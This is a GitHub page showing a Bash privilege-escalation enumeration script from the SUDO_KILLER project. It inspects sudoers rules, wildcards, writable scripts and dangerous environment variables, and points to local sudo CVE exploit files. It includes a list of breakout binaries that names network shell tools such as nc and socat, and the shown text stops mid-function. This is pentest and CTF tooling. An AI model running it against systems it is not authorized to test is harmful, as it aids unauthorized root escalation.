forked from Open-Sec/SUDO_KILLER
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Backup_old.sh
1255 lines (977 loc) · 41.8 KB
/
Backup_old.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
# This script was to developed to check for common misconfigurations and vulnerabilities of the sudo
# Version="version 1.3"
# Date : 08/12/2018
# @TH3_ACE - BLAIS David
# Future updates :
#
#
#
##### (Cosmetic) Colour output
RED="\033[01;31m" # Issues/Errors
GREEN="\033[01;32m" # Success
YELLOW="\033[01;33m" # Warnings/Information
BLUE="\033[01;34m" # Heading
BOLD="\033[01;01m" # Highlight
RESET="\033[00m" # Normal
##### help function
usage ()
{
##### echo -e " $version \n"
printf " $version \n"
echo -e " Example: ./sudo_killer.sh -c -r report.txt -e /tmp/ \n"
echo "OPTIONS:"
echo "-k Enter keyword"
echo "-e Enter export location"
echo "-s Supply user password for sudo checks (NOT SECURE)"
# echo "-t Include thorough (lengthy) tests"
echo "-c Include sudo CVE"
echo "-r Enter report name"
echo "-h Displays this help text"
echo -e "\n"
echo "Running with no options = limited scans/no output file"
echo -e " ######################################################### "
}
header()
{
cat << "EOF"
_____ _ _ _____ ____ _ _______ _ _ ______ _____
/ ____| | | | __ \ / __ \ | |/ /_ _| | | | | ____| __ \
| (___ | | | | | | | | | | | ' / | | | | | | | |__ | |__) |
\___ \| | | | | | | | | | | < | | | | | | | __| | _ /
____) | |__| | |__| | |__| | | . \ _| |_| |____| |____| |____| | \ \
|_____/ \____/|_____/ \____/ |_|\_\_____|______|______|______|_| \_\
EOF
# CANARY
}
intro()
{
#echo "${BOLD}${YELLOW}[+] Intro ${RESET}"
who=`whoami` 2>/dev/null
echo -e "${BLUE} @TH3_ACE - BLAIS David"
echo -e "${BLUE} Contribute and collaborate to the KILLER project @ https://github.com/TH3xACE"
echo -e "\n"
echo -e "${BOLD}${GREEN}[+] Intro ${RESET}"
echo -e "${BOLD}${YELLOW}Scan started at:${RESET}"; date
echo -e "\n"
echo -e "Current user: $who"
echo -e "\n"
if [ "$report" ]; then
echo -e "${BOLD}${YELLOW}[+] Report name: ${RESET} $report "
else
:
fi
if [ "$export" ]; then
echo -e "${BOLD}${YELLOW}[+] Export location: ${RESET} $export"
else
:
fi
echo -e "\n"
# PHASE 2
#if [ "$thorough" ]; then
# echo "[+] Thorough tests = Enabled"
#else
# echo -e "[+] Thorough tests = Disabled"
#fi
sleep 2
if [ "$export" ]; then
mkdir $export 2>/dev/null
format=$export/sudo_killer-export-`date +"%d-%m-%y"`
mkdir $format 2>/dev/null
else
:
fi
if [ "$sudopass" ]; then
echo -e "${RED} [+] Please enter password - NOT RECOMMENDED - For CTF use! ${RESET}"
read -s userpassword
echo
else
:
fi
}
footer()
{
echo -e "\n ${GREEN} [*##################### SCAN_COMPLETED ##########################*] ${RESET} "
}
checkinitial()
{
echo -e "${BOLD}${YELLOW}============ Initial check - Quick ================== ${RESET} \n"
# useful binaries (thanks to https://gtfobins.github.io/)
binarylist='nmap\|perl\|awk\|find\|bash\|sh\|man\|more\|less\|vi\|emacs\|vim\|nc\|netcat\|python\|ruby\|lua\|irb\|tar\|zip\|gdb\|pico\|scp\|git\|rvim\|script\|ash\|csh\|curl\|dash\|ed\|env\|expect\|ftp\|sftp\|node\|php\|rpm\|rpmquery\|socat\|strace\|taskset\|tclsh\|telnet\|tftp\|wget\|wish\|zsh\|ssh'
##### sudo version - check to see if there are any known vulnerabilities with this - CVE
sudover=`sudo -V 2>/dev/null| grep "Sudo version" 2>/dev/null`
if [ "$sudover" ]; then
echo -e "${BOLD}${GREEN}[+] Sudo version:${RESET}\n$sudover "
echo -e "\n"
else
:
fi
#pull out vital sudoers info
sudoers=`grep -v -e '^$' /etc/sudoers 2>/dev/null |grep -v "#" 2>/dev/null`
if [ "$sudoers" ]; then
echo -e "${BOLD}${GREEN}[+] Sudoers configuration (condensed) exported:${RESET}\n$sudoers"
echo -e "\n"
#export sudoers file to export location
if [ "$export" ] && [ "$sudoers" ]; then
mkdir $format/ 2>/dev/null
#cp /etc/sudoers $format/etc-export/sudoers 2>/dev/null
cp /etc/sudoers $format/sudoers_export 2>/dev/null
else
:
fi
else
if [ "$export" ] ; then
#sudoers=`echo '' | sudo -S -l -k 2>/dev/null` >> $format/sudoers_export.txt 2>/dev/null
sudoers="sudo -S -l -k"
$sudoers > $format/sudoers_export.txt
echo -e "${BOLD}${GREEN}[+] Sudoers configuration exported!${RESET} \n$sudoers"
echo -e "\n"
fi
fi
#can we sudo without supplying a password
sudoperms=`echo '' | sudo -S -l -k 2>/dev/null`
if [ "$sudoperms" ]; then
echo -e "${BOLD}${GREEN}[+] SUDO possible without a password!${RESET}\n$sudoperms"
echo -e "\n"
else
:
fi
#check sudo perms - authenticated
if [ "$sudopass" ]; then
if [ "$sudoperms" ]; then
:
else
sudoauth=`echo $userpassword | sudo -S -l -k 2>/dev/null`
if [ "$sudoauth" ]; then
echo -e "${BOLD}${GREEN}[+] SUDO possible with a password supplied!${RESET}\n$sudoauth"
echo -e "\n"
else
:
fi
fi
else
:
fi
##known 'good' breakout binaries (cleaned to parse /etc/sudoers for comma separated values) - authenticated
if [ "$sudopass" ]; then
if [ "$sudoperms" ]; then
:
else
sudopermscheck=`echo $userpassword | sudo -S -l -k 2>/dev/null | xargs -n 1 2>/dev/null|sed 's/,*$//g' 2>/dev/null | grep -w $binarylist 2>/dev/null`
if [ "$sudopermscheck" ]; then
echo -e "${BOLD}${GREEN}[+] Possible sudo pwnage!${RESET}\n$sudopermscheck"
echo -e "\n"
else
:
fi
fi
else
:
fi
#known 'good' breakout binaries (cleaned to parse /etc/sudoers for comma separated values)
sudopwnage=`echo '' | sudo -S -l -k 2>/dev/null | xargs -n 1 2>/dev/null | sed 's/,*$//g' 2>/dev/null | grep -w $binarylist 2>/dev/null`
if [ "$sudopwnage" ]; then
echo -e "${BOLD}${GREEN}[+] Possible sudo pwnage!${RESET}\n$sudopwnage"
echo -e "\n"
else
:
fi
#who has sudoed in the past
whohasbeensudo=`find /home -name .sudo_as_admin_successful 2>/dev/null`
if [ "$whohasbeensudo" ]; then
echo -e "[-] Accounts that have recently used sudo:\n$whohasbeensudo"
echo -e "\n"
else
:
fi
#check if selinux is enabled
sestatus=`sestatus 2>/dev/null`
if [ "$sestatus" ]; then
echo -e "[-] SELinux seems to be present: $sestatus, can execute /exploits/CVE-2017-1000367-2.c if vulnerable (Check CVEs)."
echo -e "\n"
fi
}
checkcve()
{
if [ "$sudocve" ]; then
echo -e "${BOLD}${YELLOW}============ Checking for disclosed vulnerabilities related to version used (CVE) ================== ${RESET} \n"
echo -e "${BOLD}${GREEN}[+] Sudo version vulnerable to the below CVEs:${RESET}"
sver_tmp=`sudo -V 2>/dev/null| grep "Sudo version" 2>/dev/null | cut -d" " -f 3 2>/dev/null`
sver=$(echo $sver_tmp | tr -d ' ' | sed 's/P/p/g')
cat cve.sudo2.txt | grep "$sver_tmp" | cut -d"+" -f 1,2 | awk '{print $0,"\n"}'
echo -e "\n"
#cat cve.sudo.txt | while read line
#do
#echo $line
#done
else
:
fi
}
checkmisconfig()
{
echo -e "${BOLD}${YELLOW}============ Checking for Common Misconfiguration ================== ${RESET} \n"
sudochownrec=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD:" | grep "/bin/chown -hR"`
if [ "$sudochownrec" ]; then
echo -e "${BOLD}${GREEN}[+] Sudo chown with recursive, was found: ${RESET}\n $sudochownrec"
echo -e "[-] You can change the owner of directories, refer to /notes/chown-hR.txt \n"
# echo -e "[-] run the command: sudo chown -hR [new_owner:old_owner] [/parent/children] "
# echo -e "[-] you can then modify or create .sh script that can be run with root right "
# echo -e "[-] Refer to Possible sudo pwnag! from above "
# echo -e "[-] #! /bin/bash "
# echo -e "[-] bash "
# echo -e "[-] sudo ./[appp].sh \n"
else
:
fi
sudochown=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD:" | grep "/bin/chown"`
if [ "$sudochown" ]; then
echo -e "${BOLD}${GREEN}[+] Sudo chown, was found: ${RESET}\n $sudochown"
echo -e "[-] You can change the owner of directories, refer to /notes/chown-hR.txt \n "
else
:
fi
sudoimpuser=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD:" | grep "/bin/su"`
if [ "$sudoimpuser" ]; then
echo -e "${BOLD}${GREEN}[+] Sudo su, was found: ${RESET} \n $sudoimpuser"
echo -e "[-] You can impersonate users, by running the cmd: sudo su - [USER] "
echo -e "[+] Run the tool AGAIN for the impersonated user! \n"
else
:
fi
#sudonopassuser==`echo '' | sudo -S -l -k 2>/dev/null | grep "NOPASSWD:" | cut -d " " -f 5`
sudonopassuser==`echo '' | sudo -S -l -k 2>/dev/null | grep "NOPASSWD:" | grep "/bin\|/sbin"`
if [ "$sudonopassuser" ]; then
echo -e "${BOLD}${GREEN}[+] Sudo without password for other user, was found: ${RESET} \n $sudoimpuser"
echo -e "[-] You can impersonate users, by running the cmd: sudo -u [USER] /path/bin"
else
:
fi
##### CVE-2015-5602
##### The bug was found in sudoedit, which does not check the full path if a wildcard is used twice (e.g. /home/*/*/esc.txt),
##### this allows a malicious user to replace the esc.txt real file with a symbolic link to a different location (e.g. /etc/shadow).
sudodblwildcard=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD: sudoedit" | grep "/*/*/"`
if [ "$sudodblwildcard" ]; then
echo -e "${BOLD}${GREEN}[+] Sudoedit with double wildcard was found was detected: ${RESET} \n $sudodblwildcard"
echo -e "[-] Vulnerable to CVE-2015-5602 if the sudo version is <=1.8.14, check the version of sudo"
echo -e "[*] Exploit: /exploits/CVE-2015-5602.sh"
echo -e "\n"
# echo -e "[-] run the command: sudo ./CVE-2015-5602.sh then su [RANDOM PASSWORD GENERATED]\n"
else
:
fi
# grep '*/\|/*\|*' or | grep '*/"\|"/*"\|"*''
sudowildcard=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD:" | grep '*/\|/*\|*' `
if [ "$sudowildcard" ]; then
echo -e "${BOLD}${GREEN}[+] Wildcard was found in the suoders file: ${RESET} \n $sudowildcard \n"
else
:
fi
sudowildcardsh=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD:" | grep "*" | grep ".sh"`
if [ "$sudowildcardsh" ]; then
echo -e "${BOLD}${GREEN}[+] Wildcard with a bash was found in the suoders file: ${RESET} \n $sudowildcardsh"
else
:
fi
echo -e "${BOLD}${YELLOW}============ Checking for File owner hijacking ================== ${RESET} \n"
##### Chown file reference trick (file owner hijacking)
sudowildcardchown=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD:" | grep "*" | grep "chown"`
if [ "$sudowildcardchown" ]; then
echo -e "${BOLD}${GREEN}[+] Wildcard with chown was found in the suoders file: ${RESET} \n $sudowildcardchown"
echo -e "[-] File owner hijacking possible."
echo -e "[*] Exploit: /notes/file_owner_hijacking (chown).txt \n"
else
:
fi
##### tar file reference trick (file owner hijacking)
sudowildcardtar=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD:" | grep "*" | grep "tar"`
if [ "$sudowildcardtar" ]; then
echo -e "${BOLD}${GREEN}[+] Wildcard with tar was found in the suoders file: ${RESET} \n $sudowildcardtar"
echo -e "[-] File owner hijacking possible."
echo -e "[*] Exploit: /notes/file_owner_hijacking (tar).txt \n"
else
:
fi
##### rsync file reference trick (file owner hijacking)
sudowildcardrsync=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD:" | grep "*" | grep "rsync"`
if [ "$sudowildcardtar" ]; then
echo -e "${BOLD}${GREEN} [+] Wildcard with rsync was found in the suoders file: ${RESET} \n $sudowildcardrsync"
echo -e "[-] File owner hijacking possible."
echo -e "[*] Exploit: /notes/file_owner_hijacking (rsync).txt \n"
else
:
fi
echo -e "${BOLD}${YELLOW}============ Checking for File permission hijacking ================== ${RESET} \n"
##### Chmod file reference trick(file permission hijacking)
sudowildcardchmod=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD:" | grep "*" | grep "chmod"`
if [ "$sudowildcardchmod" ]; then
echo -e "${BOLD}${GREEN} [+] Wildcard with chmod was found in the suoders file: ${RESET} \n $sudowildcardchmod"
echo -e "[-] File permission hijacking possible."
echo -e "[*] Exploit: /notes/file_permission_hijacking.txt \n"
else
:
fi
#### Check for scripts execution without password in sudoers
echo -e "${BOLD}${YELLOW}============ Checking for Missing scripts from sudoers ================== ${RESET} \n"
current_user="$(whoami)"
#current_groups="$(groups)"
groups > /tmp/groups.txt
sudo -S -l -k | grep .sh | sed 's/(root) //g' | sed 's/NOPASSWD: //g' | sed 's/,/\n/g' | tr -d " \t\r" | grep ".sh" > /tmp/sh_list.txt
echo -e "${BOLD}${GREEN}[+] The script/s found in sudoers can be found at: /tmp/sh_list.txt ${RESET}"
#### Check for missing scripts that exists in the sudoers file and whether the current user is the owner of directory
echo -e "[-] Checking whether there are any missing scripts defined in sudoers but that no longer exists on system:"
cat /tmp/sh_list.txt | while read line
do
####### [DIRECTORY]
# missing file/script
if [ ! -f $line ]; then
rep=$( echo "$line" | awk -F.sh '{print $1}' | rev | cut -d "/" -f 2,3,4,5,6,7 | rev | cut -d " " -f 2 )
echo $line
echo -e ">>> Checking Directory User Ownership of the missing scripts"
#### checking whether the current user is the owner of the directory and his rights
repexist=`echo '' | ls -ld $rep`
direc_user=$( echo "$repexist" | cut -d " " -f 3 )
# r- ls on directory / w- create file / x- access the directory
drights=$( echo "$repexist" | cut -d " " -f 1 )
# checking the owner of the directory is the current user
if [ "$current_user" == "$direc_user" ]
then
echo -e "${BOLD}${GREEN}[+] The current user is the directory owner of the missing file.${RESET}"
# echo -e "[*] Exploit, refer to /notes/owner_direc_missing_file.txt"
#### checking the permission on the directory that the owner/current user has
drightsr=${drights:1:1}
drightsw=${drights:2:1}
drightsx=${drights:3:1}
# echo $drightsr
# echo $drightsw
# echo $drightsx
msgright1="The current user has the right to: "
if [ "$drightsr" == "r" ]
then
msgright1+=" list since r (ls)"
fi
if [ "$drightsw" == "w" ]
then
msgright1+=", access w (cd) "
fi
if [ "$drightsx" == "x" ]
then
msgright1+=" and x create/move file/directory"
fi
msgright1+=$line
#if [[ $drightsgrp = "rwx" ]]
# then
# echo -e "[-] $drightsgrp > The current user is in a group which can list if r (ls), access w (cd) and x create/move file/directory in the directory $line."
echo -e "[-] $msgright1"
echo -e "[*] Exploit, refer to /notes/owner_direc_missing_file.txt and /notes/Excessive_directory_rights.txt \n"
# if [[ $drights = *drwx* ]]
# then
# echo -e "[-] The current user can list r (ls), access w (cd) and x create/move file/directory in the directory $line."
# echo -e "[*] Exploit, refer to /notes/owner_direc_missing_file.txt \n"
# else
# echo -e "[-] The current user can list if r (ls), access w (cd) and x create/move file/directory in the directory $line."
# echo -e "[*] Exploit, refer to /notes/owner_direc_missing_file.txt \n"
# fi # permission
else
echo -e "[-] The user $direc_user is the directory owner of the missing file. \n"
# echo -e "[-] Check the groups manually for the current user: $current_groups"
# echo -e "[*] Exploit, refer to /notes/owner_direc_missing_file.txt "
fi # current user
echo -e ">>> Checking Directory Group Ownership of the missing scripts"
# checking whether the current user is part of the group owner of the directory
direc_grp=$( echo "$repexist" | cut -d " " -f 4 )
cat /tmp/groups.txt | while read line1
do
if [ "$line1" == "$direc_grp" ]
then
echo -e "${BOLD}${GREEN}[+] The current user is in a group that is the directory owner of the missing file.${RESET}"
# echo -e "[+] Exploit, refer to /notes/owner_direc_missing_file.txt "
# drightsgrp=${drights:5:3}
dgrightsr=${drights:4:1}
dgrightsw=${drights:5:1}
dgrightsx=${drights:6:1}
msgright="The current user is in a group which can "
if [ "$dgrightsr" == "r" ]
then
msgright+="list since r (ls)"
fi
if [ "$dgrightsw" == "w" ]
then
msgright+=", access w (cd) "
fi
if [ "$dgrightsx" == "x" ]
then
msgright+=" and x create/move file/directory. "
fi
msgright+=$line
#if [[ $drightsgrp = "rwx" ]]
# then
# echo -e "[-] $drightsgrp > The current user is in a group which can list if r (ls), access w (cd) and x create/move file/directory in the directory $line."
echo -e "[-] $msgright"
echo -e "[*] Exploit, refer to /notes/owner_direc_missing_file.txt "
#fi # permission
break
fi
done
fi # check file missing
done
echo -e "\n"
echo -e "${BOLD}${YELLOW}============ Checking for Excessive directory right where the scripts from sudoers reside ================== ${RESET} \n"
#current_user="$(whoami)"
#current_groups="$(groups)"
#groups > /tmp/groups.txt
#sudo -S -l -k | grep .sh | sed 's/(root) //g' | sed 's/NOPASSWD: //g' | sed 's/,/\n/g' | tr -d " \t\r" | grep ".sh" > /tmp/sh_list.txt
echo -e "${BOLD}${GREEN}[+] The script/s found in sudoers can be found at: /tmp/sh_list.txt"
cat /tmp/sh_list.txt | while read liney
do
####### [DIRECTORY]
# checking the directory rights of the scripts identified in sudo
if [ -f $liney ]; then
rep1=$( echo "$liney" | awk -F.sh '{print $1}' | rev | cut -d "/" -f 2,3,4,5,6,7 | rev | cut -d " " -f 2 )
echo $liney
echo -e ">>> Checking Directory User Ownership of the scripts"
#### checking whether the current user is the owner of the directory and his rights
repexist1=`echo '' | ls -ld $rep1`
direc_user1=$( echo "$repexist1" | cut -d " " -f 3 )
# r- ls on directory / w- create file / x- access the directory
drights1=$( echo "$repexist1" | cut -d " " -f 1 )
# checking the owner of the directory is the current user
if [ "$current_user" == "$direc_user1" ]
then
echo -e "${BOLD}${GREEN}[+] The current user is the directory owner of the script.${RESET}"
# echo -e "[*] Exploit, refer to /notes/owner_direc_missing_file.txt"
#### checking the permission on the directory that the owner/current user has
drightsr1=${drights1:1:1}
drightsw1=${drights1:2:1}
drightsx1=${drights1:3:1}
# echo $drightsr
# echo $drightsw
# echo $drightsx
msgright2="The current user has the right to: "
if [ "$drightsr1" == "r" ]
then
msgright2+=" list since r (ls)"
fi
if [ "$drightsw1" == "w" ]
then
msgright2+=", access w (cd) "
fi
if [ "$drightsx1" == "x" ]
then
msgright2+="and x create/move file/directory "
fi
msgright2+="for the script :"
msgright2+=$liney
#if [[ $drightsgrp = "rwx" ]]
# then
# echo -e "[-] $drightsgrp > The current user is in a group which can list if r (ls), access w (cd) and x create/move file/directory in the directory $line."
echo -e "[-] $msgright2"
echo -e "[*] Exploit, refer to /notes/Excessive_directory_rights.txt \n"
# if [[ $drights = *drwx* ]]
# then
# echo -e "[-] The current user can list r (ls), access w (cd) and x create/move file/directory in the directory $line."
# echo -e "[*] Exploit, refer to /notes/owner_direc_missing_file.txt \n"
# else
# echo -e "[-] The current user can list if r (ls), access w (cd) and x create/move file/directory in the directory $line."
# echo -e "[*] Exploit, refer to /notes/owner_direc_missing_file.txt \n"
# fi # permission
else
echo -e "[-] The user $direc_user1 is the directory owner of the missing file. \n"
# echo -e "[-] Check the groups manually for the current user: $current_groups"
# echo -e "[*] Exploit, refer to /notes/owner_direc_missing_file.txt "
fi # current user
echo -e ">>> Checking Directory Group Ownership of the scripts"
# checking whether the current user is part of the group owner of the directory
direc_grp1=$( echo "$repexist1" | cut -d " " -f 4 )
cat /tmp/groups.txt | while read linet
do
if [ "$linet" == "$direc_grp1" ]
then
echo -e "${BOLD}${GREEN}[+] The current user is in a group that is the directory owner of the script.${RESET}"
# echo -e "[+] Exploit, refer to /notes/owner_direc_missing_file.txt "
# drightsgrp=${drights:5:3}
dgrightsr1=${drights1:4:1}
dgrightsw1=${drights1:5:1}
dgrightsx1=${drights1:6:1}
msgright3="The current user is in a group which can "
if [ "$dgrightsr1" == "r" ]
then
msgright3+="list since r (ls)"
fi
if [ "$dgrightsw1" == "w" ]
then
msgright3+=", access w (cd) "
fi
if [ "$dgrightsx1" == "x" ]
then
msgright3+=" and x create/move file/directory. "
fi
msgright3+=$liney
#if [[ $drightsgrp = "rwx" ]]
# then
# echo -e "[-] $drightsgrp > The current user is in a group which can list if r (ls), access w (cd) and x create/move file/directory in the directory $line."
echo -e "[-] $msgright3"
echo -e "[*] Exploit, refer to /notes/Excessive_directory_rights.txt \n"
#fi # permission
break
fi
done
fi # check file missing
done
# clear the scripts list
# rm /tmp/sh_list.txt
echo -e "${BOLD}${YELLOW}============ Checking for Writable scripts from sudoers ================== ${RESET} \n"
####### [FILE]
##### Check for writable scripts by current users from the sudoers file
#current_user="$(whoami)"
#current_groups="$(groups)"
#groups > /tmp/groups.txt
#sudo -S -l -k | grep .sh | sed 's/(root) //g' | sed 's/NOPASSWD: //g' | sed 's/,/\n/g' | tr -d " \t\r" | grep ".sh" > /tmp/sh_list.txt
cat /tmp/sh_list.txt | while read linex
do
# if script exist
if [[ -f ${linex} ]]; then
# owner of each file/script
owner_file=`echo '' | ls -l $linex | cut -d " " -f 3 2>/dev/null`
shperms=$( ls -l "$linex" )
if [ "$current_user" == "$owner_file" ]
then
echo -e ">>> Checking current user permission on the scripts owned by him \n"
echo -e "$linex"
msgfp="The current user can "
#shperms=$( ls -l "$linex" )
#perm_user=$( echo "$shperms" | cut -d "-" -f 2 )
frightsr=${shperms:1:1}
frightsw=${shperms:2:1}
frightsx=${shperms:3:1}
if [[ $frightsr = "r" ]]
then
msgfp+="read the file (r), "
fi # perms
if [[ $frightsw = "w" ]]
then
msgfp+="modify the file (w), "
fi # perms
if [[ $frightsx = "x" ]]
then
msgfp+="and can execute the file (x)"
fi # perms
msgfp+=" for the script $linex"
echo -e "[+] $msgfp \n"
# clear var
owner_file="nothing"
fi # user owner check
#############################################################
# checking whether the current user is part of the group owner of the directory
direc_grp1=$( echo "$shperms" | cut -d " " -f 4 )
#echo $shperms
#echo $direc_grp1
cat /tmp/groups.txt | while read line2
do
if [ "$line2" == "$direc_grp1" ]
then
echo -e ">>> Checking current user group ownership of the scripts"
#echo -e ">>> Checking current user group permission on file \n"
echo -e "[-] The current user is part of a group or several groups that is the owner of the script, the groups are: $line2"
#echo -e "[-] The current user is in a group that is the file owner of the script."
# echo -e "[+] Exploit, refer to /notes/owner_direc_missing_file.txt "
# drightsgrp=${drights:5:3}
fgrightsr=${shperms:4:1}
fgrightsw=${shperms:5:1}
fgrightsx=${shperms:6:1}
msgfgright="The current user can "
if [ "$fgrightsr" == "r" ]
then
msgfgright+="read the file (r), "
fi
if [ "$fgrightsw" == "w" ]
then
msgfgright+="modify the file (w), "
fi
if [ "$fgrightsx" == "x" ]
then
msgfgright+="and can execute the file (x). "
fi
msgfgright+=$linex
direc_grp1="nothing"
#if [[ $drightsgrp = "rwx" ]]
# then
# echo -e "[-] $drightsgrp > The current user is in a group which can list if r (ls), access w (cd) and x create/move file/directory in the directory $line."
echo -e "[+] $msgfgright"
echo -e "[*] Exploit, refer to /notes/owner_direc_missing_file.txt \n"
#fi # permission
# break
fi # group owner check
done
fi # exists
done
#rm /tmp/sh_list1.txt
}
checkdangenvar()
{
##### Check for dangerous environment variables
echo -e "${BOLD}${YELLOW}============ Checking for Dangerous environment variables ================== ${RESET} \n"
sudoenv=`echo '' | sudo -S -l -k 2>/dev/null | grep "!env_reset" `
if [ "$sudoenv" ]; then
echo -e "${BOLD}${GREEN}[+] env_reset is disabled, This means we can manipulate the environment of the command we are allowed to run (depending on sudo version).${RESET}"
rm /tmp/env_remove.txt
echo -e "[-] check the environment variables blacklist, /tmp/env_remove.txt"
echo -e "[-] Exploit of LD_PRELOAD and PS4: /notes/env_exploit.txt"
sudo -V | sed -n '/Environment variables removed:/,/Environment/p' >> /tmp/env_remove.txt
sed -i '1d' /tmp/env_remove.txt
sed -i '$d' /tmp/env_remove.txt
echo -e "${BOLD}${GREEN}[+] Check sudo version, since sudo < 1.8.5 environment variables are not removed and CVE-2014-0106 refer to: /exploits/CVE-2014-0106.txt ${RESET}\n"
else
:
fi
sudoenvld_preload=`echo '' | sudo -S -l -k 2>/dev/null | grep "LD_PRELOAD" `
if [ "$sudoenvld_preload" ]; then
echo -e "${BOLD}${GREEN}[+] LD_PRELOAD is set and is a dangerous environment.${RESET}"
rm /tmp/env_remove.txt
echo -e "[-] check the environment variables blacklist, /tmp/env_remove.txt"
echo -e "[-] Exploit of LD_PRELOAD : /notes/env_exploit.txt"
sudo -V | sed -n '/Environment variables removed:/,/Environment/p' >> /tmp/env_remove.txt
sed -i '1d' /tmp/env_remove.txt
sed -i '$d' /tmp/env_remove.txt
echo -e "${BOLD}${GREEN}[+] Check sudo version, since sudo < 1.8.5 environment variables are not removed and CVE-2014-0106 refer to: /exploits/CVE-2014-0106.txt ${RESET} \n"
else
:
fi
sudodangenv=`echo '' | sudo -S -l -k 2>/dev/null | grep "PERL5OPT\|PYTHONINSPECT" `
if [ "$sudodangenv" ]; then
echo -e "${BOLD}${GREEN}[+] Check for dangerous environment variables such as LD_PRELOAD, PS4, PERL5OPT, PYTHONINSPECT,... .${RESET}"
rm /tmp/env_remove.txt
echo -e "[-] check the environment variables blacklist, /tmp/env_remove.txt"
sudo -V | sed -n '/Environment variables removed:/,/Environment/p' >> /tmp/env_remove.txt
sed -i '1d' /tmp/env_remove.txt
sed -i '$d' /tmp/env_remove.txt
echo -e "${BOLD}${GREEN}[+] Check sudo version, since sudo < 1.8.5 environment variables are not removed and CVE-2014-0106 refer to: /exploits/CVE-2014-0106.txt ${RESET} \n"
else
:
fi
}
checkdangbin()
{
##### Check for dangerous bin
function fn_dngbin ()
{
var1=""
var1=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD:" | grep "$2$1"`
if [ "$var1" ]; then
echo -e "[+] Sudo $1, was found "
echo -e "Run the following commands :"
if [ -z "$3" ]
then
:
else
echo "$3"
fi
if [ -z "$4" ]
then
:
else
echo "$4"
fi
if [ -z "$5" ]
then
:
else
echo "$5"
fi
if [ -z "$6" ]
then
:
else
echo "$6"
fi
if [ -z "$7" ]
then
:
else
echo "$7"
fi
echo -e "\n"
else
:
fi
}
function fn_dngbin2 ()
